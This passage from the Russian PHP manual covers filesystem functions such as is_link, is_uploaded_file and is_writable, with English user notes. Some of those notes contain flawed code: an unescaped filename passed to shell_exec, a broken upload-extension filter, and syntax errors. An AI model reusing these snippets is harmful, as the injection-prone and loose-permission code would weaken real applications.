    if($document != '.' && $document != '..' && $ext[1])
    {
                       'Do something to file...'
              }
}

It gets around the fact that, when working on website pages, the html files are read as directories when downloaded. It also allows you to extend the usefulness of the above method by adding the ability to determine file types e.g.

if($document != '.' && $document != '..' && $ext[1]=='htm')
or
if($document != '.' && $document != '..' && $ext[1]=='doc')
andreas dot stagl at fits dot at 27-Mar-2002 11:34
if you're running apache as a service on a win32 machine, an you try to determinate if a file on an other pc in your network exists - ex.: is_file('//servername/share/dir1/dir2/file.txt') - you may return false when you're running the service as LocalSystem. To avoid this, you have to start the Apache-Service as a 'registered' domain user.
quietust at ircN dot org 13-Dec-2001 08:20
In PHP 4.1.0 under win32, this seems to print out a warning message if the file does not exist (using error_reporting = E_ALL & ~E_NOTICE).


Определяет, является ли файл символической ссылкой

  • « is_file
  • is_readable »
  • PHP Manual
  • Функции файловой системы
  • Определяет, является ли файл символической ссылкой

is_link

(PHP 4, PHP 5, PHP 7, PHP 8)

is_link — Определяет, является ли файл символической ссылкой

Описание

is_link(string $filename): bool

Определяет, является ли файл символической ссылкой.

Список параметров

filename

Путь к файлу.

Возвращаемые значения

Возвращает true, если файл существует и является символической ссылкой, иначе возвращает false.

Ошибки

В случае неудачного завершения работы генерируется ошибка уровня E_WARNING.

Примеры

Пример #1 Создаём файл и подтверждаем, что он является символической ссылкой

<?php
$link = 'uploads';

if (is_link($link)) {
echo readlink($link);
} else {
symlink('uploads.php', $link);
}
?>

Примечания

Замечание: Результаты этой функции кешируются. Более подробную информацию смотрите в разделе clearstatcache().

Подсказка

Начиная с PHP 5.0.0, эта функция также может быть использована с некоторыми обёртками url. Список обёрток, поддерживаемых семейством функций stat(), смотрите в разделе Поддерживаемые протоколы и обёртки.

Смотрите также

  • is_dir() - Определяет, является ли имя файла директорией
  • is_file() - Определяет, является ли файл обычным файлом
  • readlink() - Возвращает файл, на который указывает символическая ссылка

User Contributed Notes

msaladna at apisnetworks dot com 21-Sep-2017 03:55
Careful when using is_link() in thread-safe builds with the self-referential directory entry ".". On ZTS builds is_link("/home/symlink/.") will return true whereas it returns false on non-ZTS builds.
gggeek 18-Sep-2013 08:53
On windows, take care that is_link returns false for Junctions.
Ways of telling apart a directory from a junction include doing both a stat() and and lstat() call and checking if there is any difference in the results
PaulE 02-Jun-2009 02:03
A workaround for Windows LNK files:

<?php

function _is_link($filename)
{
    if(is_link($filename))
        return true;

    $ext = substr(strrchr($filename, '.'), 1);
    if(strtolower($ext) == 'lnk')
    {
        return (_readlink($filename) ? true : false);
    }

    return false;
}

function _readlink($file)
{
    if(file_exists($file))
    {
        if(is_link($file))
        {
            return readlink($file);
        }

        // Get file content
        $handle = fopen($file, "rb");
        $buffer = array();

        while(!feof($handle))
        {
            $buffer[] = fread($handle, 1);
        }

        fclose($handle);

        // Test magic value and GUID
        if(count($buffer) < 20)
            return false;
        if($buffer[0] != 'L')
            return false;
        if((ord($buffer[4]) != 0x01) ||
           (ord($buffer[5]) != 0x14) ||
           (ord($buffer[6]) != 0x02) ||
           (ord($buffer[7]) != 0x00) ||
           (ord($buffer[8]) != 0x00) ||
           (ord($buffer[9]) != 0x00) ||
           (ord($buffer[10]) != 0x00) ||
           (ord($buffer[11]) != 0x00) ||
           (ord($buffer[12]) != 0xC0) ||
           (ord($buffer[13]) != 0x00) ||
           (ord($buffer[14]) != 0x00) ||
           (ord($buffer[15]) != 0x00) ||
           (ord($buffer[16]) != 0x00) ||
           (ord($buffer[17]) != 0x00) ||
           (ord($buffer[18]) != 0x00) ||
           (ord($buffer[19]) != 0x46))
        {
            return false;
        }

        $i = 20;
        if(count($buffer) < ($i + 4))
            return false;

        $flags = ord($buffer[$i]);
        $flags = $flags | (ord($buffer[++$i]) << 8);
        $flags = $flags | (ord($buffer[++$i]) << 16);
        $flags = $flags | (ord($buffer[++$i]) << 24);

        $hasShellItemIdList = ($flags & 0x00000001) ? true : false;
        $pointsToFileOrDir = ($flags & 0x00000002) ? true : false;

        if(!$pointsToFileOrDir)
            return false;

        if($hasShellItemIdList)
        {
            $i = 76;
            if(count($buffer) < ($i + 2))
                return false;

            $a = ord($buffer[$i]);
            $a = $a | (ord($buffer[++$i]) << 8);

        }

        $i = 78 + 4 + $a;
        if(count($buffer) < ($i + 4))
            return false;

        $b = ord($buffer[$i]);
        $b = $b | (ord($buffer[++$i]) << 8);
        $b = $b | (ord($buffer[++$i]) << 16);
        $b = $b | (ord($buffer[++$i]) << 24);

        $i = 78 + $a + $b;
        if(count($buffer) < ($i + 4))
            return false;

        $c = ord($buffer[$i]);
        $c = $c | (ord($buffer[++$i]) << 8);
        $c = $c | (ord($buffer[++$i]) << 16);
        $c = $c | (ord($buffer[++$i]) << 24);

        $i = 78 + $a + $b + $c;
        if(count($buffer) < ($i +1))
            return false;

        $linkedTarget = "";
        for(;$i < count($buffer); ++$i)
        {
            if(!ord($buffer[$i]))
                break;

            $linkedTarget .= $buffer[$i];
        }

        if(empty($linkedTarget))
            return false;

        return $linkedTarget;
    }

    return false;
}

if(_is_link('test.lnk'))
{
    echo _readlink('test.lnk');
}
?>
foobarfarter 18-Oct-2008 03:06
@radon8472 at hotmail dot com
The windows .lnk-things are real files, the explorer only treats them like links. Try to open one with Win+R->"notepad X:\Path\Visiblefilename.lnk You will see much 0-Bytes, but the linked path is displayed right on the screen. It should be possible to do the same by php.
radon8472 at hotmail dot com 31-Jul-2008 09:38
This function returns "false" for windows *.lnk files (tested under windows XP).

filetype also returns "file" an not "link" like expected.

I didn`t find a solution for this.
mbirth at webwriters dot de 20-May-2008 08:24
To find out whether a file is hardlinked to another filename, check the number of links of the stat() output. If it is >1 there is another filename for that file.

To find out whether two filenames are pointing to the same file, check the inode number of those 2 filenames. If it is equal, the 2 filenames are hardlinked together.
neverpanic->gmail[com] 30-Dec-2006 02:50
For me (Debian Sarge VPS) is_link returns true even for directories if you don't add a trailing slash to the filename.
<?php
if ($dir{strlen($dir)-1} == '/') $dir = substr($dir, 0, -1);
is_link($dir);
?>
This works for me. It can't detect a symlink somewhere in a complete path, though (i.e. is_link(/www/somedir/file.php) will return false, just as is_link(/www/) would)
brendy at gmail dot com 05-May-2006 07:22
On Mac OSX, to see if a file is a FInder alias:

<?PHP
if( getFinderAlias( $someFile , $target ) ) {
 echo $target;
}
else {
 echo "File is not an alias";
}

function getFinderAlias( $filename , &$target ) {
$getAliasTarget = <<< HEREDOC
    -- BEGIN APPLESCRIPT --
    set checkFileStr to "{$filename}"
    set checkFile to checkFileStr as POSIX file
    try
        tell application "Finder"
            if original item of file checkFile exists then
                set targetFile to (original item of file checkFile) as alias
                set posTargetFile to POSIX path of targetFile as text
                get posTargetFile
            end if
        end tell
    end try
    -- END APPLESCRIPT --
HEREDOC;
$runText = "osascript << EOS\n{$getAliasTarget}\nEOS\n";
$target = trim( shell_exec( $runText ) );
return ( $target == "" ? false : true );
}
?>
andudi at gmx dot ch 02-Jun-2002 10:44
On my SuSE 7.2 is_link does not work on directories, but to find out, if a dir is a link, I use now this:

$linkdir = $path.$linkdirname;
if (realpath($linkdir) != realpath($path)."/".$linkdirname):
//$linkdir is a symbolic linked dir!
...

and this works fine :-)

Andreas Dick


Определяет существование файла и доступен ли он для чтения

  • « is_link
  • is_uploaded_file »
  • PHP Manual
  • Функции файловой системы
  • Определяет существование файла и доступен ли он для чтения

is_readable

(PHP 4, PHP 5, PHP 7, PHP 8)

is_readable — Определяет существование файла и доступен ли он для чтения

Описание

is_readable(string $filename): bool

Возвращает true, если файл существует и доступен для чтения.

Список параметров

filename

Путь к файлу.

Возвращаемые значения

Возвращает true, если файл или директория, указанная в filename существует и доступна для чтения, иначе возвращает false.

Ошибки

В случае неудачного завершения работы генерируется ошибка уровня E_WARNING.

Примеры

Пример #1 is_readable() example

<?php
$filename = 'test.txt';
if (is_readable($filename)) {
echo 'Файл доступен для чтения';
} else {
echo 'Файл недоступен для чтения';
}
?>

Примечания

Не забывайте, что PHP может обращаться к файлам от имени пользователя, от которого запущен веб-сервер (часто 'nobody').

Замечание: Результаты этой функции кешируются. Более подробную информацию смотрите в разделе clearstatcache().

Подсказка

Начиная с PHP 5.0.0, эта функция также может быть использована с некоторыми обёртками url. Список обёрток, поддерживаемых семейством функций stat(), смотрите в разделе Поддерживаемые протоколы и обёртки.

Замечание:

Проверка производится с использованием реальных UID/GID вместо эффективных.

Эта функция может возвращать true для директорий. Чтобы отличить файл от директории можно воспользоваться функцией is_dir().

Смотрите также

  • is_writable() - Определяет, доступен ли файл для записи
  • file_exists() - Проверяет существование указанного файла или каталога
  • fgets() - Читает строку из файла

User Contributed Notes

arikan134 at gmail dot com 17-Jan-2016 12:12
is readable recursively. Check all sub directories and files readable
<?php
function is_readable_r($dir) {
    if (is_dir($dir)) {
        if(is_readable($dir)){
            $objects = scandir($dir);
            foreach ($objects as $object) {
                if ($object != "." && $object != "..") {
                    if (!is_readable_r($dir."/".$object)) return false;
                    else continue;
                }
            }
            return true;
        }else{
            return false;
        }

    }else if(file_exists($dir)){
        return (is_readable($dir));

    }
}

?>
pgl at yoyo dot org 31-Jul-2009 07:13
Note that is_readable() will return false for streams, eg, php://stdin.
jo at durchholz dot org 30-Jan-2006 09:15
DrTebi at yahoo dot com is wrong. is_readable() checks whether you can do file_get_contents() or similar calls, no more, no less. If the location given returns a 500 or 403 error, you can still read() that (you'll simply get the error page), but it's still read()able. Using is_readable to check the validity of a URL is simply the wrong function.
26-Jul-2005 07:08
Sometimes in situations where file_exists fails (returns false even though the file does exist) stat will work.


Определяет, был ли файл загружен при помощи HTTP POST

  • « is_readable
  • is_writable »
  • PHP Manual
  • Функции файловой системы
  • Определяет, был ли файл загружен при помощи HTTP POST

is_uploaded_file

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

is_uploaded_file — Определяет, был ли файл загружен при помощи HTTP POST

Описание

is_uploaded_file(string $filename): bool

Возвращает true, если файл filename был загружен при помощи HTTP POST. Это полезно для удостоверения того, что злонамеренный пользователь не пытается обмануть скрипт так, чтобы он работал с файлами, с которыми работать не должен - к примеру, /etc/passwd.

Такие проверки особенно полезны, если существует вероятность того, что операции над файлом могут показать его содержимое пользователю или даже другим пользователям той же системы.

Для правильной работы функции is_uploaded_file() нужен аргумент вида $_FILES['userfile']['tmp_name'], - имя загруженного файла на клиентской машине $_FILES['userfile']['name'] не подходит.

Список параметров

filename

Имя проверяемого файла.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования функции is_uploaded_file()

<?php

if (is_uploaded_file($_FILES['userfile']['tmp_name'])) {
echo "Файл ". $_FILES['userfile']['name'] ." успешно загружен.\n";
echo "Отображаем содержимое\n";
readfile($_FILES['userfile']['tmp_name']);
} else {
echo "Возможная атака с участием загрузки файла: ";
echo "файл '". $_FILES['userfile']['tmp_name'] . "'.";
}

?>

Смотрите также

  • move_uploaded_file() - Перемещает загруженный файл в новое место
  • $_FILES
  • Простой пример использования можно найти в разделе "Загрузка файлов на сервер".

User Contributed Notes

Robert Lerner 04-Dec-2015 03:42
To expand on what nicoSWD stated about this function.

Any script working with the temporary file $_FILES[]['tmp_name'] should call this function.

In any case where the script is modified to unlink(), rename() or otherwise modify the file that IS NOT move_uploaded_file() will not have the upload checked.

Likewise, most file operations are cached in PHP, therefore there should be minimal performance hit running is_uploaded_file before move_uploaded_file, since it will usually used a cached result for the latter.

The security benefits outweigh the microsecond difference in performance in any event, and should universally be used as soon as the $_FILES array is first entered into an application. While there may not be an immediate issue, code evolves and could quickly change this fact.
nicoSWD 28-Nov-2013 04:39
Note that calling this function before move_uploaded_file() is not necessary, as it does the exact same checks already. It provides no extra security. Only when you're trying to use an uploaded file for something other than moving it to a new location.

Reference:
https://github.com/php/php-src/blob/master/ext/standard/basic_functions.c#L5796
Anonymous 07-Oct-2013 11:08
Here is my code for file handler, i hope it help to all:

First a class to handler file upload:
<?php
    define('UPLOAD_PATH', 'upload/');
    define('MAXIMUM_FILESIZE', '10485760'); //10 MB
    class FileHandler
    {
        private $file_types = array('xls', 'xlsx');
        private $files = null;
        private $filename_sanitized = null;
        private $filename_original = null;

        public function __construct($files)
        {
            $this->files = $files;
        }

        public function setFileTypes($fileTypes = array())
        {
            $this->file_types = $fileTypes;
            return $this;
        }

        public function setFileNameOriginal($filename)
        {
            $this->filename_original = $filename;
        }

        public function fileNameOriginal()
        {
            return $this->filename_original;
        }

        public function sanitize($cursor = 0)
        {
            $this->setFileNameOriginal($this->files['name'][$cursor]);

            $safe_filename = preg_replace(
                    array("/\s+/", "/[^-\.\w]+/"),
                    array("_", ""),
                    trim($this->fileNameOriginal()));
            $this->filename_sanitized  = md5($safe_filename.time()).$safe_filename;
            return $this;
        }

        public function fileSize($cursor = 0)
        {
            return $this->files['size'][$cursor];
        }

        public function extensionValid()
        {
            $fileTypes = implode('|', $this->file_types);
            $rEFileTypes = "/^\.($fileTypes){1}$/i";
            if(!preg_match($rEFileTypes, strrchr($this->filename_sanitized, '.')))
                throw new Exception('No se pudo encontrar el tipo de archivo apropiado');

            return $this;
        }

        public function isUploadedFile($cursor)
        {
            if(!is_uploaded_file($this->files['tmp_name'][$cursor]))
            {
                throw new Exception("No se obtuvo la carga del archivo");
            }
        }

        public function saveUploadedFile($cursor)
        {
            if(!move_uploaded_file ($this->files['tmp_name'][$cursor],UPLOAD_PATH.$this->filename_sanitized))
                throw new Exception("No se consigui&oacute; guardar el archivo");
        }

        public function fileNameSanitized()
        {
            return $this->filename_sanitized;
        }

        public function uploadFile($cursor = 0)
        {
            $this->isUploadedFile($cursor);
            if ($this->sanitize($cursor)->fileSize($cursor) <= MAXIMUM_FILESIZE)
            {
                $this->extensionValid()->saveUploadedFile($cursor);
            }
            else
            {
                throw new Exception("El archivo es demasiado grande.");
            }
            return $name;
        }

    }

?>

Next a part of code to use the class

<?php
//form is submited  and detect that
if ($form_submited == 1)
{
    try
    {
                //i assume de input file is:
                /*
                       <input id="<?php echo EXCEL_FILE;?>[]" name="<?php echo EXCEL_FILE;?>[]" type="file"/>
                       where EXCEL_FILE is the constant:
                       define('EXCEL_FILE', 'excel_file');
                */
        $file = new FileHandler($_FILES['excel_file']);
        $inputFileName = $file->uploadFile()->fileNameSanitized();  // File to read
                ...

    }
    catch(Exception $e)
    {
        die('Error cargando archivo "'.($file->fileNameOriginal()).'": '.$e->getMessage());
    }

}
?>
uramihsayibok, gmail, com 12-Aug-2007 09:18
It isn't mentioned anywhere that I've seen, but $filename *is* case-sensitive on Windows.
It means that while C:\Windows\TEMP\php123.tmp may have been uploaded, C:\Windows\Temp\php123.tmp was not.

I found this out because I was using realpath() on the filename which 'fixed' the case (my Temp folder is in titlecase, not uppercase - thank you Vista).

Anyways, the problem was that PHP used %TEMP% to determine the destination for the uploaded file, and %TEMP% used the all-capitals version of the path. Changing it to use titlecase instead + restarting Apache fixed the problem.
YLearn 10-Oct-2005 10:42
Just looked at what I posted again and found several mistakes of the major and minor sort.  That's what I get for posting before I finish my coffee.  This should work better (i.e. should work in the first place):

<?php
   default: //a default error, just in case!  :)
       echo "There was a problem with your upload.";
       $err_msg = "Unrecognized file POST error: ".$HTTP_POST_FILES['userfile']['error'];
       if (!(strpos($err_msg, "\n") === false)) {
           $err_lines = explode("\n", $err_msg);
           foreach ($err_lines as $msg) {
               error_log($msg, 0);
           }
       } else {
           error_log($err_msg, 0);
       }
       break;
?>
YLearn 10-Oct-2005 09:41
Regarding topcat's suggested change, I am split on doing that.  I don't like showing users errors that may give them more information than they should have (or show that I haven't provided for that particular error).  But I want to know when there are errors that fall to the default case so I can fix my code.  What I will typically do is write them to the error log something like this modification to metaltoad's post (takes into account the possibility of multi-line errors which error_log doesn't handle well):

<?php
    default: //a default error, just in case!  :)
        echo "There was a problem with your upload.";
        $err_msg = "Unrecognized file POST error: ".$HTTP_POST_FILES['userfile']['error'];
        if ((strpos($err_msg, "\n") === 0) {
            $err_lines = explode("\n", $err_msg);
            foreach ($err_lines as $msg) {
                error_log($msg, 0);
            }
        } else {
            error_log($err_msg, 0)
        }
        break;
?>
juk 18-Sep-2005 03:26
If your $_FILES and $_POST are empty, this can be due to
- the limit set by post_max_size in php.ini
- the limit set by upload_max_filesize in php.ini

Unfortunately the first limit is not reported back as an error code in $_FILES['error'].
topcat 14-Jul-2005 04:56
Just a little tip to info at metaltoad's comment:
It's good practice to print error code when it can't be recognized:

   default: //print the error code
     echo "Unrecognized error code: ".$HTTP_POST_FILES['userfile']['error'];
     break;
23-Apr-2005 12:29
make use u got the enctype="multipart/form-data" in ur form tag otrherwise nothing works... took me two hours to find that out.......
beer UNDRSCR nomaed AT hotmail DOT com 15-Apr-2005 04:21
Regarding the comment of info at metaltoad dot net
@ 19-Feb-2003 04:03

<?php
// ... yada yada yada...
preg_match("/.exe$|.com$|.bat$|.zip$|.doc$|.txt$/i", $HTTP_POST_FILES['userfile']['name']))
// ... yada yada yada...
?>

This will not work. It will, but not correctly.
You shuld escape the . (dot) for the preg function,
and escape the $ (dollar) sign for PHP, or use
single-quoted string...

The syntax should be (much shorter and neater):

<?php
// ... yada yada yada...
preg_match('/\\.(exe|com|bat|zip|doc|txt)$/i', $_FILES['userfile']['name']))
// ... yada yada yada...
?>
lots2learn at gmail dot com 06-Feb-2005 09:13
if files are not getting uploaded and $_FILE array is empty ..and your code looks fine..then check php.ini file..the file_uploads option should be turned 'On' to allow file uploads. Turn it on and restart apache to have effect .
info at metaltoad dot net 19-Feb-2003 01:03
As of PHP 4.2.0, rather than automatically assuming a failed file uploaded is a file attack, you can use the error code associated with the file upload to check and see why the upload failed.  This error code is stored in the userfile array (ex: $HTTP_POST_FILES['userfile']['error']).

Here's an example of a switch:

if (is_uploaded_file($userfile)) {

  //include code to copy tmp file to final location here...

}else{
  switch($HTTP_POST_FILES['userfile']['error']){
    case 0: //no error; possible file attack!
      echo "There was a problem with your upload.";
      break;
    case 1: //uploaded file exceeds the upload_max_filesize directive in php.ini
      echo "The file you are trying to upload is too big.";
      break;
    case 2: //uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the html form
      echo "The file you are trying to upload is too big.";
      break;
    case 3: //uploaded file was only partially uploaded
      echo "The file you are trying upload was only partially uploaded.";
      break;
    case 4: //no file was uploaded
      echo "You must select an image for upload.";
      break;
    default: //a default error, just in case!  :)
      echo "There was a problem with your upload.";
      break;
}

Additionally, by testing the 'name' element of the file upload array, you can filter out unwanted file types (.exe, .zip, .bat, etc).  Here's an example of a filter that can be added before testing to see if the file was uploaded:

//rejects all .exe, .com, .bat, .zip, .doc and .txt files
if(preg_match("/.exe$|.com$|.bat$|.zip$|.doc$|.txt$/i", $HTTP_POST_FILES['userfile']['name'])){
  exit("You cannot upload this type of file.");
}

//if file is not rejected by the filter, continue normally
if (is_uploaded_file($userfile)) {

/*rest of code*/
itadmin at itmusicweb dot co dot uk 28-Nov-2002 06:11
The example brought out does not work as supposed to:

function is_uploaded_file($filename) {
    if (!$tmp_file = get_cfg_var('upload_tmp_dir')) {
        $tmp_file = dirname(tempnam('', ''));
    }
    $tmp_file .= '/' . basename($filename);
    /* User might have trailing slash in php.ini... */
    return (ereg_replace('/+', '/', $tmp_file) == $filename);
}

It works only with files under ....4 or 5 kb, other files automatically get the size of 0 bytes. So something must be wrong here. Built-in is_uploaded_file() works good.
troels at NO dot SPAM dot webcode dot dk 14-Oct-2002 12:44
to get the example to work on windows, youll have to add a line, that replaces backslashes with slashes. eg.: $filename = str_replace ("\\", "/", $filename);

also, as someone mentioned, globalizing $HTTP_POST_FILES is a good idea ...

<pre>
/* Userland test for uploaded file. */
function is_uploaded_file($filename)
{
    global $HTTP_POST_FILES;
    if (!$tmp_file = get_cfg_var("upload_tmp_dir")) {
        $tmp_file = dirname(tempnam("", ""));
    }
    $tmp_file .= "/" . basename($filename);
    /* User might have trailing slash in php.ini... */
    // fix for win platform
    $filename = str_replace ("\\", "/", $filename);
    return (ereg_replace("/+", "/", $tmp_file) == $filename);
}
</pre>


Определяет, доступен ли файл для записи

  • « is_uploaded_file
  • is_writeable »
  • PHP Manual
  • Функции файловой системы
  • Определяет, доступен ли файл для записи

is_writable

(PHP 4, PHP 5, PHP 7, PHP 8)

is_writable — Определяет, доступен ли файл для записи

Описание

is_writable(string $filename): bool

Возвращает true, если файл filename существует и доступен для записи. Аргумент filename может быть именем директории, что позволяет вам проверять директории на доступность для записи.

Не забывайте, что PHP может обращаться к файлу от имени того пользователя, от которого запущен веб-сервер (обычно 'nobody').

Список параметров

filename

Проверяемый файл.

Возвращаемые значения

Возвращает true, если filename существует и доступен для записи.

Ошибки

В случае неудачного завершения работы генерируется ошибка уровня E_WARNING.

Примеры

Пример #1 Пример использования is_writable()

<?php
$filename = 'test.txt';
if (is_writable($filename)) {
echo 'Файл доступен для записи';
} else {
echo 'Файл недоступен для записи';
}
?>

Примечания

Замечание: Результаты этой функции кешируются. Более подробную информацию смотрите в разделе clearstatcache().

Подсказка

Начиная с PHP 5.0.0, эта функция также может быть использована с некоторыми обёртками url. Список обёрток, поддерживаемых семейством функций stat(), смотрите в разделе Поддерживаемые протоколы и обёртки.

Смотрите также

  • is_readable() - Определяет существование файла и доступен ли он для чтения
  • file_exists() - Проверяет существование указанного файла или каталога
  • fwrite() - Бинарно-безопасная запись в файл

User Contributed Notes

develop at radon-software dot net 11-Aug-2022 09:48
This function returns always false on windows, when you check an network drive.

See PHP Bug https://bugs.php.net/bug.php?id=68926
See https://stackoverflow.com/q/54904676
helvete at bahno dot net 09-Feb-2017 01:58
Be warned, that is_writable returns false for non-existent files, although they can be written to the queried path.
arikan134 at gmail dot com 17-Jan-2016 12:04
Check director is writable recursively. to return true, all of directory contents  must be writable

<?php
function is_writable_r($dir) {
    if (is_dir($dir)) {
        if(is_writable($dir)){
            $objects = scandir($dir);
            foreach ($objects as $object) {
                if ($object != "." && $object != "..") {
                    if (!is_writable_r($dir."/".$object)) return false;
                    else continue;
                }
            }
            return true;
        }else{
            return false;
        }

    }else if(file_exists($dir)){
        return (is_writable($dir));

    }
}

?>
shkkmo at gmail dot com 29-Jan-2015 02:32
I'd like to also clarify a point on this. Even if you see 777 permissions for the directly, you may need to check your ACL, since your server's group might not have write permissions there.
samuel dot zallocco at univaq dot it 23-Jul-2014 12:57
Check if a directory is writable. Work also on mounted SMB shares:

function isWritablePath($home, $xpath) {
    $isOK = false;
    $path = trim($xpath);
    if ( ($path!="") && (strpos($path,$home)!==false)  && is_dir($path) && is_writable($path) ) {
        $tmpfile = "mPC_".uniqid(mt_rand()).'.writable';
        $fullpathname = str_replace('//','/',$path."/".$tmpfile);
        $fp = @fopen($fullpathname,"w");
        if ($fp !== false) {
            $isOK = true;
        }
        @fclose($fp);
        @unlink($fullpathname);
    }
    return $isOK;

}
yury dot gugnin at gmail dot com 04-Mar-2014 11:34
function is_writable('ftp://user.....') always return false. I can create/delete files, but can check is writable. Is this bug or php feature :)?
gr 05-Oct-2010 03:32
The results of this function seems to be not cached :
Tested on linux and windows

<?php
chmod($s_pathFichier, 0400);
echo'<pre>';var_dump(is_writable($s_pathFichier));echo'</pre>';
chmod($s_pathFichier, 04600);
echo'<pre>';var_dump(is_writable($s_pathFichier));echo'</pre>';
exit;
?>
starrychloe at yahoo dot com 10-Feb-2008 05:50
To Darek and F Dot: About group permissions, there is this note in the php.ini file:
; By default, Safe Mode does a UID compare check when
; opening files. If you want to relax this to a GID compare,
; then turn on safe_mode_gid.
safe_mode_gid = Off
legolas558 d0t users dot sf dot net 02-Mar-2007 12:18
This is the latest version of is__writable() I could come up with.
It can accept files or folders, but folders should end with a trailing slash! The function attempts to actually write a file, so it will correctly return true when a file/folder can be written to when the user has ACL write access to it.

<?php
function is__writable($path) {
//will work in despite of Windows ACLs bug
//NOTE: use a trailing slash for folders!!!
//see http://bugs.php.net/bug.php?id=27609
//see http://bugs.php.net/bug.php?id=30931

    if ($path{strlen($path)-1}=='/') // recursively return a temporary file path
        return is__writable($path.uniqid(mt_rand()).'.tmp');
    else if (is_dir($path))
        return is__writable($path.'/'.uniqid(mt_rand()).'.tmp');
    // check tmp file for read/write capabilities
    $rm = file_exists($path);
    $f = @fopen($path, 'a');
    if ($f===false)
        return false;
    fclose($f);
    if (!$rm)
        unlink($path);
    return true;
}
?>
legolas558 dot sourceforge comma net 13-Jul-2006 01:17
Since looks like the Windows ACLs bug "wont fix" (see http://bugs.php.net/bug.php?id=27609) I propose this alternative function:

<?php

function is__writable($path) {

if ($path{strlen($path)-1}=='/')
    return is__writable($path.uniqid(mt_rand()).'.tmp');

if (file_exists($path)) {
    if (!($f = @fopen($path, 'r+')))
        return false;
    fclose($f);
    return true;
}

if (!($f = @fopen($path, 'w')))
    return false;
fclose($f);
unlink($path);
return true;
}

?>

It should work both on *nix and Windows

NOTE: you must use a trailing slash to identify a directory
greg at gregwhitescarver dotcalm 07-Feb-2006 06:55
In response to Darek:

We have two servers: one running PHP 5.0.4 and Apache 1.3.33, the other running PHP 4.3.5 and Apache 1.3.27.  The PHP 4 server exhibits the behavior you are describing, with is_writable() returning 'false' even though the www user is in the group that owns the file, but the PHP 5 server is returning 'true.'
darek at fauxaddress dot com 31-Jan-2006 10:27
It appears that is_writable() does not check full permissions of a file to determine whether the current user can write to it.  For example, with Apache running as user 'www', and a member of the group 'wheel', is_writable() returns false on a file like

-rwxrwxr-x           root         wheel          /etc/some.file
JimmyNighthawk 12-Sep-2005 02:02
Regarding you might recognize your files on your web contructed by your PHP-scripts are grouped as NOBODY you can avoid this problem by setting up an FTP-Connection ("ftp_connect", "ftp_raw", etc.) and use methods like "ftp_fput" to create these [instead of giving out rights so you can use the usual "unsecure" way]. This will give the files created not the GROUP NOBODY - it will give out the GROUP your FTP-Connection via your FTP-Program uses, too.

Furthermore you might want to hash the password for the FTP-Connection - then check out:
http://dev.mysql.com/doc/mysql/en/Password_hashing.html
claude dot paroz at ne dot ch 06-Apr-2004 04:28
Under Windows, it only returns the read-only attribute status, not the actual permissions (ACL).
See http://bugs.php.net/bug.php?id=27609
agrenier at assertex dot com 02-Apr-2004 04:56
This file_write() function will give $filename the write permission before writing $content to it.

Note that many servers do not allow file permissions to be changed by the PHP user.

<?php
    function file_write($filename, &$content) {
        if (!is_writable($filename)) {
            if (!chmod($filename, 0666)) {
                 echo "Cannot change the mode of file ($filename)";
                 exit;
            };
        }
        if (!$fp = @fopen($filename, "w")) {
            echo "Cannot open file ($filename)";
            exit;
        }
        if (fwrite($fp, $content) === FALSE) {
            echo "Cannot write to file ($filename)";
            exit;
        }
        if (!fclose($fp)) {
            echo "Cannot close file ($filename)";
            exit;
        }
    }
?>


Псевдоним is_writable

  • « is_writable
  • lchgrp »
  • PHP Manual
  • Функции файловой системы
  • Псевдоним is_writable

is_writeable

(PHP 4, PHP 5, PHP 7, PHP 8)

is_writeable — Псевдоним is_writable()

Описание

Функция является псевдонимом: is_writable().

User Contributed Notes

hsh at autowise dot dk 12-Dec-2016 12:43
A tiny benefit of using is_writeable() instead of is_writable() is that is_writable() will pollute search results when searching source code for files containing the word "table".

Writeable is an alternative and not as frequently used (but still absolutely correct) spelling of writable.


Изменяет группу, которой принадлежит символическая ссылка

  • « is_writeable
  • lchown »
  • PHP Manual
  • Функции файловой системы
  • Изменяет группу, которой принадлежит символическая ссылка

lchgrp

(PHP 5 >= 5.1.3, PHP 7, PHP 8)

lchgrp — Изменяет группу, которой принадлежит символическая ссылка

Описание

lchgrp(string $filename, string|int $group): bool

Пытается изменить группу, которой принадлежит символическая ссылка filename на указанную в group.

Только суперпользователь может изменять группу символической ссылки произвольно, другие пользователи могут изменять группу символической ссылки на какую-либо, в которой пользователь является членом.

Список параметров

filename

Путь к ссылке.

group

Группа, указанная по имени или номеру.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример изменения группы символической ссылки

<?php
$target = 'output.php';
$link = 'output.html';
symlink($target, $link);

lchgrp($link, 8);
?>

Примечания

Замечание: Эта функция неприменима для работы с удалёнными файлами, поскольку файл должен быть доступен через файловую систему сервера.

Замечание: Для Windows-платформ эта функция не реализована.

Смотрите также

  • chgrp() - Изменяет группу файла
  • lchown() - Изменяет владельца символической ссылки
  • chown() - Изменяет владельца файла
  • chmod() - Изменяет режим доступа к файлу

User Contributed Notes

There are no user contributed notes for this page.


Изменяет владельца символической ссылки

  • « lchgrp
  • link »
  • PHP Manual
  • Функции файловой системы
  • Изменяет владельца символической ссылки

lchown

(PHP 5 >= 5.1.3, PHP 7, PHP 8)

lchown — Изменяет владельца символической ссылки

Описание

lchown(string $filename, string|int $user): bool

Пытается изменить владельца символической ссылки filename на указанного в user пользователя.

Только суперпользователь может изменять владельца символической ссылки.

Список параметров

filename

Путь к файлу.

user

Имя пользователя или номер.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Изменение владельца символической ссылки

<?php
$target = 'output.php';
$link = 'output.html';
symlink($target, $link);

lchown($link, 8);
?>

Примечания

Замечание: Эта функция неприменима для работы с удалёнными файлами, поскольку файл должен быть доступен через файловую систему сервера.

Замечание: Для Windows-платформ эта функция не реализована.

Смотрите также

  • chown() - Изменяет владельца файла
  • lchgrp() - Изменяет группу, которой принадлежит символическая ссылка
  • chgrp() - Изменяет группу файла
  • chmod() - Изменяет режим доступа к файлу

User Contributed Notes

There are no user contributed notes for this page.


Создаёт жёсткую ссылку

  • « lchown
  • linkinfo »
  • PHP Manual
  • Функции файловой системы
  • Создаёт жёсткую ссылку

link

(PHP 4, PHP 5, PHP 7, PHP 8)

link — Создаёт жёсткую ссылку

Описание

link(string $target, string $link): bool

link() создаёт жёсткую ссылку.

Список параметров

target

Цель ссылки.

link

